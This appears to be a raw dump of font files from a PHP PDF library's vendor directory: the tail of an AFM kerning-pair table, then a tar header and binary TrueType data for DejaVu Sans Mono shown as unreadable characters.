KPX AE uni01DC -159
KPX AE uni01F4 -196
KPX AE uni01F5 -73

KPX Egrave six 38
KPX Egrave Gcircumflex 38
KPX Egrave Gbreve 38
KPX Egrave Gdotaccent 38
KPX Egrave Gcommaaccent 38
KPX Egrave uni01DA 38

KPX Ecircumflex six 38
KPX Ecircumflex Gcircumflex 38
KPX Ecircumflex Gbreve 38
KPX Ecircumflex Gdotaccent 38
KPX Ecircumflex Gcommaaccent 38
KPX Ecircumflex uni01DA 38

KPX Igrave six 38
KPX Igrave Gcircumflex 38
KPX Igrave Gbreve 38
KPX Igrave Gdotaccent 38
KPX Igrave Gcommaaccent 38
KPX Igrave uni01DA 38

KPX Icircumflex six 38
KPX Icircumflex Gcircumflex 38
KPX Icircumflex Gbreve 38
KPX Icircumflex Gdotaccent 38
KPX Icircumflex Gcommaaccent 38
KPX Icircumflex uni01DA 38

KPX Eth less -149
KPX Eth kgreenlandic -149
KPX Eth lacute -149
KPX Eth uni01F4 -149

KPX Ograve less -149
KPX Ograve kgreenlandic -149
KPX Ograve lacute -149
KPX Ograve uni01F4 -149

KPX agrave seven -36
KPX agrave less -45
KPX agrave Hbar -36
KPX agrave lacute -45

KPX ucircumflex two -73
KPX ucircumflex seven -339
KPX ucircumflex eight -73
KPX ucircumflex nine -282
KPX ucircumflex colon -159
KPX ucircumflex less -319
KPX ucircumflex backslash -139
KPX ucircumflex questiondown -139
KPX ucircumflex Aacute -139
KPX ucircumflex Ebreve -73
KPX ucircumflex Hbar -339
KPX ucircumflex Idot -73
KPX ucircumflex lacute -319

KPX ydieresis two -73
KPX ydieresis seven -339
KPX ydieresis eight -73
KPX ydieresis nine -282
KPX ydieresis colon -159
KPX ydieresis less -319
KPX ydieresis backslash -139
KPX ydieresis questiondown -139
KPX ydieresis Aacute -139
KPX ydieresis Ebreve -73
KPX ydieresis Hbar -339
KPX ydieresis Idot -73
KPX ydieresis lacute -319

KPX Abreve O -246

KPX abreve two -73
KPX abreve seven -339
KPX abreve eight -73
KPX abreve nine -282
KPX abreve colon -159
KPX abreve less -319
KPX abreve backslash -139
KPX abreve questiondown -139
KPX abreve Aacute -139
KPX abreve Ebreve -73
KPX abreve Hbar -339
KPX abreve Idot -73
KPX abreve lacute -319

KPX Edotaccent seven -92
KPX Edotaccent less -112
KPX Edotaccent backslash -92
KPX Edotaccent questiondown -92
KPX Edotaccent Aacute -92
KPX Edotaccent Hbar -92
KPX Edotaccent lacute -112


KPX Ecaron seven -92
KPX Ecaron less -112
KPX Ecaron backslash -92
KPX Ecaron questiondown -92
KPX Ecaron Aacute -92
KPX Ecaron Hbar -92
KPX Ecaron lacute -112


KPX Gdotaccent six -92
KPX Gdotaccent Gdotaccent -92
KPX Gdotaccent Gcommaaccent -92

KPX Gcommaaccent six -92
KPX Gcommaaccent Gdotaccent -92
KPX Gcommaaccent Gcommaaccent -92

KPX Hbar dollar -159
KPX Hbar seven 47
KPX Hbar D -264
KPX Hbar F -272
KPX Hbar H -272
KPX Hbar R -272
KPX Hbar U -225
KPX Hbar V -272
KPX Hbar X -225
KPX Hbar Z -225
KPX Hbar backslash -243
KPX Hbar cent -264
KPX Hbar sterling -264
KPX Hbar currency -264
KPX Hbar yen -264
KPX Hbar brokenbar -264
KPX Hbar section -264
KPX Hbar dieresis -196
KPX Hbar copyright -272
KPX Hbar ordfeminine -272
KPX Hbar guillemotleft -272
KPX Hbar logicalnot -272
KPX Hbar sfthyphen -272
KPX Hbar acute -272
KPX Hbar mu -272
KPX Hbar paragraph -272
KPX Hbar periodcentered -272
KPX Hbar cedilla -272
KPX Hbar ordmasculine -159
KPX Hbar guillemotright -225
KPX Hbar onequarter -225
KPX Hbar onehalf -225
KPX Hbar threequarters -225
KPX Hbar questiondown -243
KPX Hbar Aacute -243
KPX Hbar Eacute -272
KPX Hbar Idieresis -272
KPX Hbar Yacute -272
KPX Hbar ebreve -159
KPX Hbar edotaccent -225
KPX Hbar ecaron -225
KPX Hbar gdotaccent -272
KPX Hbar gcommaaccent -272
KPX Hbar Hbar 47
KPX Hbar dotlessi -225

KPX Idot dollar -63

KPX lacute dollar -196
KPX lacute ampersand -73
KPX lacute two -73
KPX lacute D -188
KPX lacute H -188
KPX lacute R -188
KPX lacute X -149
KPX lacute cent -188
KPX lacute sterling -188
KPX lacute currency -188
KPX lacute yen -188
KPX lacute brokenbar -188
KPX lacute section -188
KPX lacute dieresis -188
KPX lacute ordfeminine -188
KPX lacute guillemotleft -188
KPX lacute logicalnot -188
KPX lacute sfthyphen -188
KPX lacute acute -188
KPX lacute mu -188
KPX lacute paragraph -188
KPX lacute periodcentered -188
KPX lacute cedilla -188
KPX lacute ordmasculine -188
KPX lacute guillemotright -149
KPX lacute onequarter -149
KPX lacute onehalf -149
KPX lacute threequarters -149
KPX lacute Egrave -73
KPX lacute Icircumflex -73
KPX lacute Yacute -188
KPX lacute Ebreve -92
KPX lacute ebreve -188
KPX lacute dotlessi -149


KPX uni027D dollar -235
KPX uni027D hyphen -92
KPX uni027D nine 38
KPX uni027D less 75
KPX uni027D lacute 75
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono.ttf000066600001231350151150442750016052 0ustar00 FFTMs���,GDEF��spH�GPOS/ ���9�GSUB\���;��OS/2����@�Vcmap_ҕ�ANcvt �Wl0fpgm[k�Y��gaspZHglyf���ZT�head��=\6hhea�=�$hmtxIL=�jloca��PX$4�maxp�'�� name`���!post��d��$}�prep:�+��=����)��)�����������������������������{|������������������
0
��DFLT&arab0cyrl>grekPlao \latnj����
SRB 
������4ISM 4KSM 4LSM 4MOL 4NSM 4ROM 4SKS 4SSM 4��mark mark,mark4mkmk:rtbdB	
&.6>FPX`Rx��	|
���5�68�"p����h&0c"c�����]j]jbj���$6HZl~��P|H0������P|H<��P���, ��T�`���P|H�� ��~��hhh�n���������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\Xd���|d��h��0�`t�Xt�X�����<���|��0��0��h�L���(�� ��T�pl�x������`�x<�D(�D��d�|t�XL�\8�(P��@��@��t�Xt�X4��`��t�Xd����4��X��H��.�����D5�jT�j`�_
�pi��F��W��W�����@��T��Q��X��:��B��`����jL�j[��Z��[�jI�jW��T��L�j4�jK��]���L��@�jV�j�8��8�jb�jt��\����X�T��H����X�T��8�����X�h��d����X�����?�j�j,�j,�jT�_�j,�j,�jT�dT�d��d�dL�p��pO��[���d������d�Xd�x��Xd�h�hD��X��,�Ll��l��T�p<��X�|l��H��H�|T�t�������l����<��T�p����|��D�\8�\8�\8�\8�\��������������X�,�l�d\�	�,�l,�lx�D�,�l,�lL� �,�l�l�l�l�l�p�l�h�l�lz��z���^��z��z�����^��^�-d���uj����8��j��:�K�Q����]X�m��ad��j�u�u���F�X�'��U��@��L�{R�KR�o��'��L����.�������:��R��x��t�XD����4��E���nP��
�p
WW[{��"�3"%o(+s;;wBCxF�z���
"
'�
)
)�
+
,�~��hhh���$6HZl~��h�5�h[�h��Tl+��h���h���h��\h����	|}������	&,28>DJPV]j]j]j]j]jbj]j]jh�|������������ &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|�����������������������dt� ��h�d�8�|�$��|`H�L�D�� \��t@�4H�����(|�XT���������(�l��t��<�0��x�x_`�i�F�W�W���@�T�T�[�:�B�`��LLL[Z[�I�WTL�4�K�]��l8��@^�  ��@b�������X�������X�������X�������X�oM������!T����x�x����T�T�����&�~O�[����X��PXD���,aDf\�P�h<��\��\�\�0,�0�@�, d `���|tL`0����0����@�\ ����T`@��L8�4��5���D�80H<D��<��x�(L�X$T�t�����������������0�T�Lh��0�p�Lh<�p����l$d�`�0�h8<���
P�Ldh���x�8�T����R m$v��2z�`��M;)�R�Dhp_)I R|�o~�4����WWYZ\{��#��$�("%d(+h;;l>AmD�q
"
"�
'
'�
)
)�
+
,�	|}������	&,28>DJPV]j]j]j]j]jbj]j]jh�	$f	*$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTDh�xzO��h�D��h*hDhhhh�Dh��h�hvhh�V�h��YDx�h�V�V�hxhhsD�VhDDDDDDzzzzhhhh6�hhhhhhhhhhh46������vvvvhhhhh�hhhhhhhhhh�V�V�VDD��������6h6hzvzvzvzv�h�V�h�V�h�Vh�V����hhhhhhhh���YD�x�x�x�x����9h�Vh�VhhhhhhD�D�hhhhhhhxhxhhhhhhhhhh�sh�Vh�h�h�hhhhhhhh
��66hhh�VVh�"�Vh�V�h�VhhhDDx���Vh��hX�V��Vj��hhhhhD��D��Vhh�V��Vh�Vh�VIV�$=D]��4��:��I��W��f��o��q��r�����������������	���"#�&3�6k���������������������	�|":P��� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(h�hh�h���6�6z�z������h�hh�h���h�h���h�hh�hh�hh�hh�h6�6h�hh�hh�hh�hh�hh�hh�h���h`hhh�`�hhv`vhhh`h�Vhhhh�V��22h`hh`hh`hh`h�Vh`h�Vh`hh`hhhh`hh`hh`hh`hh`h�Vh`hhhhhhhz�z��zzzzhhhh6�6hhhhhhh�hhhhhh6�66�6hhhhhhh`h�`vvvvhhhhhhhhhhhh`hhhhhh�Vhh�Vh�Vhhhh�h`�������6h6�6hhzvzvzvz�v`zv�h�V�h�V�h�V��h�Vhhh�hhhhhhhhhh�hh`h�h�Vh���`��2��2�2���22���22hhh�h`hh�h�h�Vh`h�Vhhhhhhh�hh`h6h6�h`6h`hhhhhh�h`hhh�hhhh�hhhhhhhhhhhhhh�h`hhhh�Vh�h�h�hhhhhh�hh�hhhh�hhh
�
����`�6�66�6h�hhhh`h�VV�Vh�h�����Vhh�V���h�h�Vhhh�hh�hh�h��22hhh�hh�h�Vh`h�Vh�h����`�h�hh`h�V���h`h�V6�6�Vh�hh`hh�hh�hh`h�Vh�hh�h6�6h`hh`hh`hh`h��)`)�`�YYhhv`vv`v�`�v`vZ`Zr`rv`v�`��V>>�Vh`h�V�`�n`n�Vh`hh`h�Voooo�VD`Dh`h88PP>>�Vh`hh`h�Vh`h�V�`��V�f&�Vh`hh`hh`hh`hhh�Vh`hhh6`6�Vh`h�Vh`h�Vc`ch`h``h`h�Vss�Vss�Vx`x�Vss�V�`��Vhh�Vh`hh`hh`hh`hh`hhhh`h`�Vh`h��h`h�Vh`h�V$$��$$h`h ` >`>h`hh`h�Vh`hhh�V$$�����h`hh`h`h`v`h`h`h`h`h`h`h`h`h`h`�`h`h`hh`h`h`h`h`h`h`h`5`h`h`�`h`'�'}{}h�h�R�R�E�E�^�^�r�r�����h�h�h�h�����?�?�a�a�i�i�h�h�h�h�h�h�G�G���h�h�h�h�h�h�6�h\�a�ad�d5�5g�'e�e`�`6�6�Lh���Vi�ihhh`hh�h�V����Vh�h�Vhh�Vii�V1�1`�h�h�kk�h�&$=D]��4��K��j��s��x����k��������
5<:>BbDHg��lowmy�v�������+�������GG�������������������������������

�����������"��+��12���������$*06<BHNTZ`flrx~�������������������h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`hhhhhhhhhhhhhhhhhhhhhhhhhhh`h`h`�/����������-��3���ntz����������������������
"(.4:@FLRX^djpv|�������������������������������������������������������������������������������������������>DJPV\bhntz������t�w�w�w�w���t��`�~�~�`�~�`�/����
�lDFLT&arab2cyrlFgrekblao nlatnx����	
SRB ��������FCAT RESP RGAL RISM ZKSM ZLSM ZMOL fNSM ZROM fSKS ZSSM Z��������
case>ccmpDdligJfinaPinitVliga\loclbloclhmedinrligt
 (08@HPX`hX\�	�	l	�	l	����$$XLMLM��������������&			qpp5=?ACEIKOQUY]aegikmquy}�������������������	
�#)!Xpr{��#
*
*4T'GMSW[_cosw{����������'��������%+\\^^`diprxz{����"T'FLRVZ^bnrvz~����������&�������
�$*\\^^`diprxz{����"
�I�I��>
$�C�?�=�C�?�=���O�LI
��LM
.
/
0c����3�3��f	�&����(PfEd@ ����m�`��,
4D,
4��~�����!AEM��������?CXaw�����_cs��������V_��
:UZmt{�����������?���������������	.<[ex{���-Mcy��������������EMWY[]}������� 
 # & 7 : ? I K _ q � � � � �!!!!!!!"!$!&!+!.!H!Q!_!�""" "#"-"="i"�"�"�"�"�"�"�"�####!#(#+#z#}#�#�#�#�#�$#&/&�&�&�&�''	'''K'M'R'V'^'u'�'�'�'�'�'�'�'�'�)�)�)�)�**/*k+
+,d,p,w,z,...%..���'���������������������t�������� ������$CLP�������CXatz������br��������1Ya�	!@Z`ty~����������?���������������,0>bw{���0Th|������������� HPY[]_�������   & / 9 < E K _ p t � � � �!!!
!!!!"!$!&!*!.!H!P!S!�!�"""#"'"4"A"m"�"�"�"�"�"�"�#####%#+#5#}#�#�#�#�#�$#%&8&�&�&�'''')'M'O'V'X'a'�'�'�'�'�'�'�'�'�)�)�)�)�**/*j++,d,m,u,y,|..."..���"�����������R���������p�v���������������������������������������������q�i�W�U�Q�P�O�N�M�?�=�/��
�	����������������I�H�G�?�:�7�6�1�-�(�"������
�����������s�2�1�/�.�,�&�%�$�#�"� ��������������������������q�m�k�e�a�_�^�[�Q�O�K�I�A�?�5�3�1�/�-�'�%�#�!���������������	�����������������������z�y�w�s�r�q�n�l�S�L�K�"��������	�������������������������������3�W�O�K�H�:���������������������������������c�)���C�;�7�6�5ݝݗݕݍd�d�d�dMdLd4c�����x>,
�
�
�� ~��b�������������!�$A�CE�LM�P����`��g��k��s��|������?�CC�XX�aa�tw�z����������������_/bc�rs���������������������������1V�Y_a�&��MO	
QSTUV!:W@UqZZ�`m�tt�y{�~��������������������������������??����������������������������������������������	,.0<>['beEwxI{{K��L��M��jq-�0M�Tc�hy�|����������������������	��
��������%'= ECHMiPWoYYw[[x]]y_}z�������������������  
  # & &/ / 70 9 :9 < ?; E I? K KD _ _E p qF t �H � �c � �p � �� � ��!!�!!�!
!�!!�!!�!!�!"!"�!$!$�!&!&�!*!+�!.!.�!H!H�!P!Q�!S!_�!�!��!�"�""0"" 1"#"#;"'"-<"4"=C"A"iM"m"�v"�"��"�"��"�"��"�"��"�"��"�"��"�"��##�##�##�##!�#%#(�#+#+�#5#z�#}#}	6#�#�	7#�#�	;#�#�	?#�#�	@#�#�	T$#$#	V%&/	W&8&�
�&�&�
�&�&�
�&�&�
�''
�''	
�'''
�')'K'M'M3'O'R4'V'V8'X'^9'a'u@'�'�U'�'�V'�'�n'�'�|'�'�}'�'�'�'��'�'��'�'��)�)��)�)��)�)��)�)��**�*/*/�*j*k�++
�++�,d,d�,m,p�,u,w�,y,z�,|,�..�..�.".%�....��������"�'������������������������������R����������� ����"����&����(�p�t,�v��1�����������Z�Z��p֣����
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������+rdei-x�pk�vjl��8spqgw-+@l|����cn4TT"m}/b���'(#$�
!�:|9:��,y%)1����������������gyquvwzzxh�������f�����������������
�7��X!�����u����u�9���!�������{�Xm��{�o{�R��������o�����������Z���!����=f�������s
���+���b���������#�����1N�
{T\q��#w��`j���#�fy```{{w`��b�{!��{�RNN�f��f��f�������HF?�{L��'oo5jo{������-��{��3=�f����oD7f���}s��, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX �EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-,�%�%I�%�%I`� ch ��#:�e:-��h��h����/���1����0!%!!h�s����r)��	@���
�<�2991/��03#3#�����q��e���R��@������1�<�20###�Ѯ��+��+��J@0�	�


	 ��91/<�<<�<<�<<�2�220333!3!###!5!!5!#3�h�i�i��T���h�i�i�h��)T��/h�T���a��a�����b��b��N��������Z
/d@9($)%/%�$�(����!$,( 0�<�2�<����1/�2������99990>54&'#.'5.546753.'�n|p�hum�df�bd�c��ӿdO�TU�P���D�Ntd]g��p^Vd��-.)�>B��������+/�Qš��	!��*9V@/7("	�"�7�(�.���+

%
4
+:������99991/�����9999032654&#"4632#"&'%32654&#"4632#"&�iNMklLNi���@s..2�����H#)�iOMllMMk���@u--1����?NjkMMljO��0./t?���`�`�OikMMkjN��0--uA���9����*7�@b


-,.+2345617B7	1
+"1�"!%���
(!7+!(!(!
.8�������99999991/������9990KSX�9�9��9Y"	>54/3#'#"5467.54632.#"3267>7#�'&�JK��NS�j�抋20ǭA�F;}Eap:6\[ț*\,#���1�h F'��X�mFD
̉�dH�G���'%[M;��I�\��
�������1��0#����+���u
@��

��2�991��0#&547u����������;��:�������\��'
@����2991��03#654\����������<��<�������J+�N@,
	��
�
		
�<�2�<�2991��<�2��2990
%#'-73%+��f9��s��9f��9PsP���b��y�b��c�y���Xqy�'@�	��
�<�<�1�<�<�0!!#!5!���C��D���D��D�������/@������1��03#��Śc/��d�m�����1��0!!d	������1����1/�03#�1��f�B7�@�����1��03#y����m���L�#
@�	����$!"!$������1������0@�//////////	/
/??????????	?
?OOOO
O____
_����������	�
�����������	�
�����������	�
�F//////////	/
/__________	_
_����������	�
�$]]4632#"&"32'2#"�M68PO98K���������������7PP78NL������0670��x�����x�~��F�
&@����	##����1/�2����0%!5%3!!:��P�6�ȪuL�J�ժ�#�Q@)%%B�
���

"$���91/�2����0KSX�9�2Y"%!!567>54&#"5>32u��u�5dF��[�pg�a�Yd8ժ���.>z�O}�BC�12�`�tA����7�(G@)�
�	�
�� ��#���)&"	)������91���������90#"&'532654&+532654&#"5>32����g�gf�b����������Y�hy�I��'Ǖ��&$�54�����zms{((�  ۵{�fo�
B@


B��	
$���<�291/��<�290KSX��Y"	!33##!5�)�!��������3���d����-�=@"����
��
��
"�����1��������90!!>32#"&'532654&#"���+W,���w�N\�a����Q�Fժ�������  �21����%%���L�$=@#�
�
������%"&
"%�����1��������90.#">32# !2"32654&�?�M��0�n������#J��݁��������%'���dk����u�z��l���������7�5@%%B��"���991/��0KSX��Y"!#!������5�V��+���N�#/C@%�'�-���'�0$*$	"!0�������991������990"32654&%.54632#"$54632654&#"h��������ʁ����򑁖������M�yz�{y�ŗ�������T!���Ѳ�!!ȟ���ɠ�bx~~xz����F�$;@"��
���"��"�%"	&%�����1�������902654&#"532#"543 !"&T��������?�M��/�n�������I�������������%'!dk
��	���o���s��'@
����<�21/���03#3#���'��9������'	%@����

����1���03#3#��Śc
��/����X�yw!@��('��291��90	5y��R��!����÷���X`y�@���<�21����0!!!!X!��!���B�X�yw!@��('�<�91��9055X!��R���^��^�=��"{@B
	%%B�����! 	 		) #�������99991/����9990KSX�9�9Y"#546?>54&#"5>323#��=TZ>/�mN�b^�h��C^XE&�����b�RY;X1YnED�98��L�\VBT=/�����s4p@1(+$	4�	�'$�+�1+5'
(+
.!+-.5����<��991���������999990@
������]4&#"326#5#"&5463254&#"!267# !2�kk��kk���%�R��ӡP�$�����J6l90?{:���]x<�!���������o?D��F=?���������z�������%��
�@A%%%%	%
%
%

%
B���			/
��91/<��90KSX��������Y"�]@
��	��]]!3#!#h�������n��l�#���+��{�q� =@#�
	���
�21	0!��2����9991/�����9032654&#32654&#%!2)qﰖ���뒃���J����������F��{���f�>p}qd�Ƶ��Ϡ�����1�.@���
���	��210��2�1�������0%# !2.#"32671M�[���?[�MJ�V����X�I5))�pn�))�=@�����@=�R�(@�	��	210���99991/���0% 6&!# )����`dVD�����Ѧ�HK��w/����������N�)@�����
	13��2���1/�����0!!!!!!�v�T��r��wժ�F����X�	$@����14
��2��1/����0!!!!#�o�\e���ժ�H��7f��P�<@!��
���	��625����1��������990%# !2.#"3267#5!PQ�v���@^�PQ�_�ſ�Ce)��{KM�on�56�MI�����!���H�&@���
1	0��2��21/<�2��03!3#!#��)������d�+�9��%@
���77	��2��21/�2��20!!!!5!!�=��9��9��ժ����m����,@���
��	5���1�����990753265!5!#"&m[�h�q��G�`�=�QQ��D�����,����@!%	%B�
	0��2�91/<�290KSX��Y"�]@L&&6FUWX	dzy{	',+&:IGG[WXXWkzx]]33	##��w�V����h��������s�@��14���1/��03!!���d�ժVy��@,
	B
�	
/
0
���91/<�2�90KSX����Y"�
]@$
		&)&)	6968	
]]!	!###V����������+'�����F�	m@B�10
���991/<�2990KSX��Y"�]@&)&8Wdjuz
&)FIWgh]]!3!#������3�+�3u��\�#@	����2625���1����0#"32#"32������������������I������I�z��~������u�+@��	�
2
8	3��2��91/����032654&#%!2+#�ꌝ���L�������/�ϔ��������u��\�=@ ��	��2625���99991�����9990"#"32#"32���������ȗ���������������y���H�d�I���������j@8	
%%B�	�
�	

21
0��2���99991/<����9990KSX��9Y"#.+#!232654&#�NnR�ٲM{c�������ݑ����o��hy�]����Ҕ�Y������J�'�@=
%	
%B
������%��(
&919"0(�����99991�������90KSX�9�9Y"�]@
]].#"#"&'532654&/.54$32�\�^��m�j����i�ks�h��u�lм
�V���;<�qch#1ҵ��--�ID�{pv /����'/��@��::���1/��20!!#!/s�-�+ժ��+���=�)@	���10���1�2��9033267>53#"&'.�� yVWx!�9FB�ji�CE:=��m];<<;\l��h�?;::;>�9��L@)%%%%B�/0��91/�290KSX����Y"%3#3h_�K��KѪ+�+����@D	
	
	


%%%%B
�
	/�91/<�<�90KSX��������Y"�	]@^
//+
??8
ZZ&*%*(+	%&5:5:;:	46TTZXWV[[RW	X]ghyvy	v#]]333##ŏ�Ӭ��߿�ʿ�D"����+w�����@K	%

%
%	%%%%%B�	;/;
0���91/<�290KSX��������Y"�7]@8
'()&Xxyw!%+%5UYXes]]3	3	#	#V�HN�A����u����3�B����}%��Y@.%%%%B�<<	���9991/�290KSX����Y"3	3#%�lk�!��m���b����	E@%%B���/0
���991/���0KSX��Y"�]�]!!!5!���"���՚�o�����w@����=��21����0!#3!����X����f�B7�@�����1��0	#%����m�Z��@����=��2�1����0!53#5�X���ޏ�H���@
���91��290	#	#�Ȳ����������u-��m��/�1��0!5�/�mPP��f%@	��<��1�K�	TK�T[X�@8Y�0	#����f��x���#{)n@*
 ��!� ��$��

D >*����22991/�������99990@00 0!0"����
������]#"326757#5#"&546;5.#"5>32�=��zl����;�������^�[f�X��=& 3qpepӺ)L���d_�����y64�''RR2����X0@	�	����GF��22��1/�����9904&#"326>32#"&'#3�����������,�f����d�.��/�������xRX�����WS���%{/@�
�����	��F��2�1��������0%# !2.#"3267%J�R����%Q�NI�]����`�A9++88*,�A:����;>{��0@�����GH���221/�����9903#5#"3232654&#"Z��.�d����e�����������C��SW;7W��������{��X{E@&
�	���
���
�	IH����991��������990!3267# 32.#"X�㿮X�mi�[���� �������^Z��89�++9@��Ţ����'4@����
	
�<�<�2991/�2���2990#"!!#!5!5463'�cM�����+���Qgc��/яN��{�H{)H@''	�	���$��(�*'G!H*����221���������999904&#"326#"&'5326=#"3253Z����������L�Sb�C��,�m����l�/�9�����������.,��}^\::VZ��,@	���
J
	F��2��1/<���990#4&#"#3>32�jq����1�s����J���������`c��D	
.@��
���LLK
�<��<�1/�2���0!!!5!!3#�m�nm����`�/��BC���V
8@
������	�<�2��991�����990!5!+53263#X�������ZZ�����Ӝ}�����@:		B��
	DE���291/<��90KSX������Y"�]@R546Ffuv	('(;;797JIYYkiiiyxyy]]33	##���G��b���{�Z�FB��?�

&@	
���L	���991/��990;#"&5!5![Y�饵����|~�����mo{"�@'	� ��MNMNME#�K�TK�T[X���8Y�<���91/<<��<�299990@G000000	0
0?????????�������	�
����������#]>32#4&#"#4&#"#3>32�"iJ�o�5FP;�9JI9��!c?Le�HE��w��s{���p{�``<?F�{,@	���
J
	F��2��1/<���990#4&#"#3>32�jq����1�s����J�������`�`c����H{#@����	D>���1����0"32654&'2#"h�������������������ڜ�����-.��VT{3@������GF��22��1������990%#3>32#"&4&#"326w��.�d����f����������
�SW�����W����������Rw3@	�	�����G>���221������99032654&#"#"3253#L��������-�e����d�.��+��������SY7:WS���j�{O@��	�
���21/�����990@%   0030@@C@PPPP].#"#3>32�;zI����.��Dv6y.*���`�w"$��{'u@@
	
B
������%��(
OI"E(�����99991��������990KSX�9�9Y".#"#"&'532654/.54632�O�S}{\�J����S�jg�Tz��E����Z�9�..QSKJ#�}��##�55cY�1���!��1@���
	�<�<�2991/��<��2990!!;#"&5!5!f��^^u��Ϫ��+����|b���`�>��^,@	��
�
	JF���21/�2��990332653#5#"&økp����1�q�����J����y���ad�dm`e@)B�IE��91/�290KSX����Y"�']@%]]3	3#d�EF��r�`�T����`@E
	


	B
�
	/�91/<�<�90KSX��������Y"�
]@�		
&&)&))#,96993<EI	FJVX	WYfifij	evzx|	r-


++>><
H
Y
jih
{yz|

]]333##�à��ö������`�wB�����f��L�`�@H
	


	B
�
IE���91/<�290KSX��������Y"�
]@	fivy

:4
ZV
]]	#	#	3	^�o��������o�)'`����?H�k�h�V�`�@E


	


B
	���
IE���91�2��9990KSX�����9�Y"�8]@v
&&8IIY
]]+532673	3Z.Gc".�\�mQ\G�O�LG�hu���:NN�^�N��l�b	X@B���IE
���2991/���0KSX��Y"�8]@68EJWXejuz
]!!!5!�-�}������b��ܖ�%���$f@5%	 !�	��	���%	
$
 =
%�<�<�299999991������99999990#"&=4&+5326=46;#"3�@��k�>>�j��@F�U[noZU������t�r��ݓ�W��������V������1��0#������$j@7% ��#����%#=%�<�2�<�99999991������99999990326=467.=4&+532;#"+�D�VZon[V�D>��k�@@�k��>�X��������X����r�t��ݔX�y&@��'��1�<��2990#"'&'.#"5>32326yK�OZqMg3O�IN�S5dJt]F��;73
!;?�<6
7=���`	!@���

�<�2991���0533���b���)�e���q��%�!N@*��	������
"E"���<�<<�221��2�<�������990.'>7#&5473%C�??�BI�9g��g9��ބ��5�(,��-(�"��9��=��"�+`츸��X�>@ 
������
	�<��<���1/�2�����<�2990.#"!!!!53#5354632D>C�s���3�����A���,,��ُ�/��я���LB/�@ (-
	*-'!	��@'�)
-0)$ 
!'$*xyx( $0��2��2�9999999991��2��2�99999999904&#"3267'#"&''7.5467'7>32d|[Z}}Z[|�Z��^�.[20`0�\��^�.[3.^�Z{{Z\}~t�]�1]02[-�^��Z�3].2]-�_�%��@D%	%		%%B�
��<e
	e<�<��2�<�2�99991/�2�<�2�<�290KSX����Y"3	33!!!#!5!5'!53%�lk�����V��o�q�Z����m���o�#o��o#�o����!���<�21����0##������
���
��=�2>j@<#$93$*������0�?#<!*6$93!UU-<U&-&6U'?����������99991�������99990.#"#"&'532654/.5467.54632>54&�S�9ak�Ԃ[]=:̭I�WW�9fq�ր][<;ȧH���>=��><���''PGZsw�eZ�54m@���''TLf{x�f[�1,pE����-Z/L��-Z/L�?F�@��aa���1�<�203#%3#?��������}�N1ID@'
�
��&�>����>�2�J\
^,8 8YD/����2�1�����������0.#"3267#"&54632'"3267>54&'.'2#"&'.5467>`:o:u���8g24r=��г=r�j�KKMMKL�ij�LLKLKK�k�ZZ\[[[�~}�[[[\ZZ�/l����hȬ���JKK�jh�KLLLLL�ij�KKJgZZ[�~}�[[[[[[�}~�[ZZ���
%)d@6	(�&�&�� ����#�*&	('
	jkji*����22��9991����������99990"326=7#5#"&546;54&#"5>32!!��|WHi���1�R�����wu3}CD�?���k��dPDN@M�s=�@pAB�t��Z\#!��{w�#
/@	��	
vv�<��2991�<�2990	5	5L��-�+���-�+#�����R������RXsy^@�'���1���0!#!X!���^�?d�m�����1��0!!d	����}�N4L�@I
]	
	]

	B
	
��
�A�)�5�)��M	\\
[G#X;#Y//�������299991�����2���9990KSX��9Y"2#'.+##32654&2#"&'.5467>"3267>54&'.X��XP:&r�k1=-7��ffZJJD�ZZ\[[[�~}�[[[\ZZ�~j�KKMMKL�ij�LLKLKK�LbeG]C;��P*���T�6?>5VZZ[�~}�[[[[[[�}~�[ZZgJKK�jh�KLLLLL�ij�KKJ=b������1��0!!=V����+u�� @�	���STS���1���02#"&546"32654&hAu,-/������OomOPqp�1.-rB�������oPPlnNOpXy�.@	���
�
�<�2�<�21/��<�<�07!!!!#!5!X!��d��C��D���������L�IB�}�a@WWBA			
	@������9991������990KSX�9�Y"!!57>54&#"5>32�����eQdR1q?Ay;��Jwrn�az3=L$$}�k9wuF���(\A	
		
		 
	@#�)
&	)�������991���������90#"&'532654&+532654&#"5>32�^c��:r;Eq-evnmBJ]b`W,p;Eu2��X`lP|�yQDJLl?<8?yvcG]���f%@	��<��1�K�	TK�T[X�@8Y�03#����f���T�` L@*	����
�!	 	JF!����9991�2��<��9903326533267#"&'#"&'øxo�� !	&D">K.�Y\,�T�H�������;8

�OOPNLP��j�;�
